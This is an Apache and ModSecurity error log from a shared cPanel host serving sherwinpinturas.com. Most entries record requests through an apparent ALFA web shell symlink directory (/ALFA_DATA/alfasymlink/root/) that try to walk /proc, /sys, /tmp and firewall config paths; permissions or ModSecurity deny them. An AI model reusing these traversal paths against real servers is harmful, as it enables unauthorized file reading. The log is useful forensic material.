[Tue Oct 27 14:14:51.812525 2026] [core:error] [pid 3274807:tid 3274807] (13)Permission denied: [client 3.90.73.206:7051] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:0f/subsystem/devices/PNP0303:00/physical_node1/drvctl
[Tue Oct 27 14:14:56.190834 2026] [core:error] [pid 3274954:tid 3274954] (13)Permission denied: [client 18.215.112.101:11135] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/device:06/physical_node/driver/unbind
[Tue Oct 27 14:15:00.688475 2026] [ssl:error] [pid 3274868:tid 3274868] (70014)End of file found: [client 23.23.104.107:50829] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:15:09.294808 2026] [security2:error] [pid 3274868:tid 3274868] [client 43.166.250.187:37546] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/scrape.php"] [unique_id "auDqLeevdkpb9NpkV1gtkQAAABc"]
[Tue Oct 27 14:15:11.879892 2026] [ssl:error] [pid 3265870:tid 3265870] (70014)End of file found: [client 44.221.105.234:16944] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:15:24.316670 2026] [ssl:error] [pid 3274800:tid 3274800] (70014)End of file found: [client 35.169.240.53:58686] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:15:27.853768 2026] [core:error] [pid 3274954:tid 3274954] (13)Permission denied: [client 52.54.95.127:19182] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.3/remove
[Tue Oct 27 14:15:32.268424 2026] [ssl:error] [pid 3280012:tid 3280012] (70014)End of file found: [client 52.202.233.37:4502] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:15:35.798443 2026] [ssl:error] [pid 3280014:tid 3280014] (70014)End of file found: [client 52.73.6.26:25385] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:15:39.946500 2026] [ssl:error] [pid 3274573:tid 3274573] (70014)End of file found: [client 52.7.13.143:29003] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:15:44.088330 2026] [ssl:error] [pid 3265870:tid 3265870] (70014)End of file found: [client 52.5.232.250:34655] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:15:55.852903 2026] [ssl:error] [pid 3280014:tid 3280014] (70014)End of file found: [client 44.221.180.179:27145] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:15:59.889794 2026] [core:error] [pid 3276404:tid 3276404] (13)Permission denied: [client 44.210.204.255:9889] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/pci_bus/0000:00/device/firmware_node/device:05/eject
[Tue Oct 27 14:16:03.935990 2026] [ssl:error] [pid 3274573:tid 3274573] (70014)End of file found: [client 54.84.161.62:64291] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:16:07.871813 2026] [ssl:error] [pid 3274572:tid 3274572] (70014)End of file found: [client 52.6.5.24:28694] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:16:12.008993 2026] [ssl:error] [pid 3280013:tid 3280013] (70014)End of file found: [client 98.83.10.183:27375] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:16:16.600665 2026] [ssl:error] [pid 3276404:tid 3276404] (70014)End of file found: [client 85.208.96.203:42388] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:16:17.497687 2026] [security2:error] [pid 3270132:tid 3270132] [client 107.172.76.131:61597] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDqZM12Z0h54eBnbA_orQAAAAQ"], referer: https://clic1.sherwinpinturas.com//beta.php
[Tue Oct 27 14:16:17.497742 2026] [security2:error] [pid 3270132:tid 3270132] [client 107.172.76.131:61597] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDqZM12Z0h54eBnbA_orQAAAAQ"], referer: https://clic1.sherwinpinturas.com//beta.php
[Tue Oct 27 14:16:20.190727 2026] [ssl:error] [pid 3274573:tid 3274573] (70014)End of file found: [client 50.16.216.166:16104] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:16:28.411652 2026] [ssl:error] [pid 3280013:tid 3280013] (70014)End of file found: [client 52.21.62.139:7914] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:16:31.834744 2026] [ssl:error] [pid 3278439:tid 3278439] (70014)End of file found: [client 18.232.36.1:11622] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:16:39.867616 2026] [ssl:error] [pid 3274807:tid 3274807] (70014)End of file found: [client 52.7.33.248:19236] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:16:44.022851 2026] [ssl:error] [pid 3274573:tid 3274573] (70014)End of file found: [client 54.91.122.193:61935] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:16:45.679550 2026] [security2:error] [pid 3274862:tid 3274862] [client 107.172.76.131:61606] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDqhCd4ppSmACw1sONtzwAAAAU"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 14:16:45.679592 2026] [security2:error] [pid 3274862:tid 3274862] [client 107.172.76.131:61606] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDqhCd4ppSmACw1sONtzwAAAAU"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 14:16:48.274622 2026] [core:error] [pid 3280013:tid 3280013] (13)Permission denied: [client 98.83.72.38:62502] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/PNP0A03:00/device:19/eject
[Tue Oct 27 14:16:51.829840 2026] [ssl:error] [pid 3280014:tid 3280014] (70014)End of file found: [client 54.152.163.42:12983] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:17:03.972243 2026] [ssl:error] [pid 3280014:tid 3280014] (70014)End of file found: [client 3.217.171.106:36282] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:17:07.791265 2026] [ssl:error] [pid 3265870:tid 3265870] (70014)End of file found: [client 34.231.156.59:37244] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:17:19.986700 2026] [ssl:error] [pid 3276404:tid 3276404] (70014)End of file found: [client 35.174.141.243:29041] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:17:19.986881 2026] [security2:error] [pid 3276404:tid 3276404] [client 35.174.141.243:29041] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/PNP0A06:01/subsystem/devices/PNP0303:00/physical_node1/driver/bind_mode"] [unique_id "auDqr3T0XCUN1jDVucwxrwAAAAE"]
[Tue Oct 27 14:17:19.986914 2026] [security2:error] [pid 3276404:tid 3276404] [client 35.174.141.243:29041] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/PNP0A06:01/subsystem/devices/PNP0303:00/physical_node1/driver/bind_mode"] [unique_id "auDqr3T0XCUN1jDVucwxrwAAAAE"]
[Tue Oct 27 14:17:23.782936 2026] [ssl:error] [pid 3274573:tid 3274573] (70014)End of file found: [client 18.209.137.234:21396] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:17:30.457940 2026] [ssl:error] [pid 3280013:tid 3280013] (70014)End of file found: [client 85.208.96.209:35872] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:17:39.864785 2026] [ssl:error] [pid 3280013:tid 3280013] (70014)End of file found: [client 52.200.251.20:14660] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:17:43.024485 2026] [authz_core:error] [pid 3277916:tid 3277916] [client 185.12.59.118:58112] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 14:17:44.092493 2026] [ssl:error] [pid 3274572:tid 3274572] (70014)End of file found: [client 107.20.255.194:35609] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:17:47.986308 2026] [ssl:error] [pid 3274868:tid 3274868] (70014)End of file found: [client 52.4.213.199:33047] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:17:51.843697 2026] [ssl:error] [pid 3280013:tid 3280013] (70014)End of file found: [client 107.23.62.75:40634] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:18:08.161528 2026] [ssl:error] [pid 3280013:tid 3280013] (70014)End of file found: [client 52.204.37.237:42642] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:18:16.349337 2026] [ssl:error] [pid 3269335:tid 3269335] (70014)End of file found: [client 35.170.205.140:50837] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:18:32.006231 2026] [ssl:error] [pid 3278439:tid 3278439] (70014)End of file found: [client 34.192.125.239:43358] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:18:32.006440 2026] [security2:error] [pid 3278439:tid 3278439] [client 34.192.125.239:43358] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory9/node0/memory9/removable"] [unique_id "auDq-O_v8rOklsQgx0GYdgAAAAg"]
[Tue Oct 27 14:18:32.006472 2026] [security2:error] [pid 3278439:tid 3278439] [client 34.192.125.239:43358] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory9/node0/memory9/removable"] [unique_id "auDq-O_v8rOklsQgx0GYdgAAAAg"]
[Tue Oct 27 14:18:36.212647 2026] [ssl:error] [pid 3269335:tid 3269335] (70014)End of file found: [client 52.45.92.83:3037] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:18:39.790199 2026] [core:error] [pid 3265870:tid 3265870] (13)Permission denied: [client 54.152.163.42:17138] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/device:05/physical_node/driver/0000:00:05.0/rescan
[Tue Oct 27 14:18:44.059563 2026] [ssl:error] [pid 3274954:tid 3274954] (70014)End of file found: [client 18.214.124.6:7871] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:18:47.958687 2026] [ssl:error] [pid 3280014:tid 3280014] (70014)End of file found: [client 34.236.135.14:6063] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:18:53.684878 2026] [ssl:error] [pid 3274231:tid 3274231] (70014)End of file found: [client 3.224.205.25:49086] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:18:56.252357 2026] [ssl:error] [pid 3274807:tid 3274807] (70014)End of file found: [client 23.23.213.182:33885] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:18:59.880790 2026] [ssl:error] [pid 3278439:tid 3278439] (70014)End of file found: [client 18.210.58.238:48337] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:19:00.610905 2026] [ssl:error] [pid 3269335:tid 3269335] (70014)End of file found: [client 85.208.96.199:47592] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:19:02.007032 2026] [core:crit] [pid 3274954:tid 3274954] (13)Permission denied: [client 85.208.96.204:29514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/local/csf/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/local/csf/' is executable
[Tue Oct 27 14:19:02.015806 2026] [security2:error] [pid 3274954:tid 3274954] [client 85.208.96.204:29514] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/local/"] [unique_id "auDrFZINvLjD_VeFzXTfGQAAAAI"]
[Tue Oct 27 14:19:02.015835 2026] [security2:error] [pid 3274954:tid 3274954] [client 85.208.96.204:29514] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/local/"] [unique_id "auDrFZINvLjD_VeFzXTfGQAAAAI"]
[Tue Oct 27 14:19:03.799266 2026] [ssl:error] [pid 3277916:tid 3277916] (70014)End of file found: [client 18.214.186.220:50441] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:19:11.908332 2026] [ssl:error] [pid 3276404:tid 3276404] (70014)End of file found: [client 100.29.128.75:49512] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:19:23.995485 2026] [ssl:error] [pid 3277916:tid 3277916] (70014)End of file found: [client 44.217.177.142:11403] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:19:27.916025 2026] [core:error] [pid 3274807:tid 3274807] (13)Permission denied: [client 54.204.12.115:33037] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:00/firmware_node/physical_node/subsystem/drivers/system/bind
[Tue Oct 27 14:19:35.892064 2026] [ssl:error] [pid 3274954:tid 3274954] (70014)End of file found: [client 54.235.191.179:58502] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:19:40.030079 2026] [ssl:error] [pid 3274868:tid 3274868] (70014)End of file found: [client 44.205.192.249:1949] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:19:48.413549 2026] [ssl:error] [pid 3274573:tid 3274573] (70014)End of file found: [client 44.196.118.6:46102] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:19:52.304399 2026] [ssl:error] [pid 3276404:tid 3276404] (70014)End of file found: [client 3.217.171.106:49415] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:20:03.834925 2026] [ssl:error] [pid 3277916:tid 3277916] (70014)End of file found: [client 34.202.88.37:50375] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:20:11.821061 2026] [ssl:error] [pid 3265870:tid 3265870] (70014)End of file found: [client 52.54.157.23:11817] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:20:19.810684 2026] [ssl:error] [pid 3277916:tid 3277916] (70014)End of file found: [client 34.196.6.199:21141] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:20:23.849008 2026] [security2:error] [pid 3280012:tid 3280012] [client 18.215.77.19:21044] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/cpu1/firmware_node/subsystem/devices/LNXCPU:00/thermal_cooling/device/physical_node/driver/cpu0/node0/memory1/"] [unique_id "auDrZ7sxrW3fEB8EtjA51QAAAAk"]
[Tue Oct 27 14:20:23.849053 2026] [security2:error] [pid 3280012:tid 3280012] [client 18.215.77.19:21044] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/cpu1/firmware_node/subsystem/devices/LNXCPU:00/thermal_cooling/device/physical_node/driver/cpu0/node0/memory1/"] [unique_id "auDrZ7sxrW3fEB8EtjA51QAAAAk"]
[Tue Oct 27 14:20:35.755481 2026] [ssl:error] [pid 3280014:tid 3280014] (70014)End of file found: [client 52.22.64.232:63547] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:20:39.805069 2026] [ssl:error] [pid 3274868:tid 3274868] (70014)End of file found: [client 3.90.73.206:13001] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:20:47.764305 2026] [core:error] [pid 3277916:tid 3277916] (13)Permission denied: [client 34.202.88.37:37044] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/cpu0/node0/cpu1/firmware_node/eject
[Tue Oct 27 14:20:51.919455 2026] [ssl:error] [pid 3276404:tid 3276404] (70014)End of file found: [client 3.90.73.206:61846] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:20:56.161789 2026] [ssl:error] [pid 3265870:tid 3265870] (70014)End of file found: [client 3.218.35.239:1132] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:20:59.826984 2026] [ssl:error] [pid 3269335:tid 3269335] (70014)End of file found: [client 52.71.203.206:33883] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:21:03.780236 2026] [core:error] [pid 3274868:tid 3274868] (13)Permission denied: [client 18.213.240.226:34667] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:03.0/subsystem/drivers/ata_piix/0000:00:01.1/remove
[Tue Oct 27 14:21:15.797613 2026] [ssl:error] [pid 3268402:tid 3268402] (70014)End of file found: [client 50.19.102.70:7203] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:21:19.977444 2026] [ssl:error] [pid 3269335:tid 3269335] (70014)End of file found: [client 3.232.39.98:57443] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:21:23.977607 2026] [ssl:error] [pid 3280013:tid 3280013] (70014)End of file found: [client 23.22.105.143:52378] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:21:31.977832 2026] [ssl:error] [pid 3274954:tid 3274954] (70014)End of file found: [client 44.207.207.36:26223] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:21:39.747989 2026] [ssl:error] [pid 3274572:tid 3274572] (70014)End of file found: [client 34.206.212.24:39329] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:21:43.827866 2026] [ssl:error] [pid 3269335:tid 3269335] (70014)End of file found: [client 3.225.45.252:32367] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:21:48.065710 2026] [ssl:error] [pid 3274231:tid 3274231] (70014)End of file found: [client 52.54.157.23:63783] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:22:00.856637 2026] [ssl:error] [pid 3280013:tid 3280013] (70014)End of file found: [client 185.191.171.11:64158] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:22:04.018200 2026] [ssl:error] [pid 3274231:tid 3274231] (70014)End of file found: [client 54.147.238.89:8782] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:22:19.082468 2026] [authz_core:error] [pid 3274572:tid 3274572] [client 3.130.168.2:44526] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 14:22:20.357818 2026] [ssl:error] [pid 3274231:tid 3274231] (70014)End of file found: [client 85.208.96.202:40272] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:22:35.756437 2026] [ssl:error] [pid 3274572:tid 3274572] (70014)End of file found: [client 3.212.205.90:39774] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:22:44.031155 2026] [ssl:error] [pid 3274231:tid 3274231] (70014)End of file found: [client 52.73.6.26:15759] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:22:56.366527 2026] [ssl:error] [pid 3277916:tid 3277916] (70014)End of file found: [client 52.54.95.127:51421] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:23:13.401300 2026] [authz_core:error] [pid 3269335:tid 3269335] [client 3.130.168.2:44906] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 14:23:26.544866 2026] [authz_core:error] [pid 3269335:tid 3269335] [client 195.178.110.50:46316] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 14:23:27.947000 2026] [ssl:error] [pid 3274572:tid 3274572] (70014)End of file found: [client 44.215.235.20:46532] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:23:35.791626 2026] [ssl:error] [pid 3274231:tid 3274231] (70014)End of file found: [client 54.204.12.115:15462] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:23:43.905490 2026] [ssl:error] [pid 3265870:tid 3265870] (70014)End of file found: [client 34.227.156.153:41258] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:23:47.840227 2026] [ssl:error] [pid 3269335:tid 3269335] (70014)End of file found: [client 98.83.177.42:53221] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:23:49.557622 2026] [security2:error] [pid 3274231:tid 3274231] [client 216.73.217.51:6395] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/task_db.log"] [unique_id "auDsNQ5mMRwZXBs6K04OOQAAAAs"]
[Tue Oct 27 14:23:49.558024 2026] [security2:error] [pid 3274231:tid 3274231] [client 216.73.217.51:6395] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/task_db.log"] [unique_id "auDsNQ5mMRwZXBs6K04OOQAAAAs"]
[Tue Oct 27 14:23:49.558382 2026] [security2:error] [pid 3274231:tid 3274231] [client 216.73.217.51:6395] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/task_db.log"] [unique_id "auDsNQ5mMRwZXBs6K04OOQAAAAs"]
[Tue Oct 27 14:23:50.058526 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/RITwlF8UBX/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/RITwlF8UBX/' is executable
[Tue Oct 27 14:23:50.058800 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Xf45g1vOVG/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Xf45g1vOVG/' is executable
[Tue Oct 27 14:23:50.058837 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-pdns.service-2seL3t/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-pdns.service-2seL3t/' is executable
[Tue Oct 27 14:23:50.058859 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-chronyd.service-vWPoWj/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-chronyd.service-vWPoWj/' is executable
[Tue Oct 27 14:23:50.058973 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/n83SSM739h/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/n83SSM739h/' is executable
[Tue Oct 27 14:23:50.059025 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/6kbL1XuIiD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/6kbL1XuIiD/' is executable
[Tue Oct 27 14:23:50.059044 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-chronyd.service-wcLs6B/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-chronyd.service-wcLs6B/' is executable
[Tue Oct 27 14:23:50.059086 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/v7WsvFUVho/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/v7WsvFUVho/' is executable
[Tue Oct 27 14:23:50.059100 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/nnRZJb1Juq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/nnRZJb1Juq/' is executable
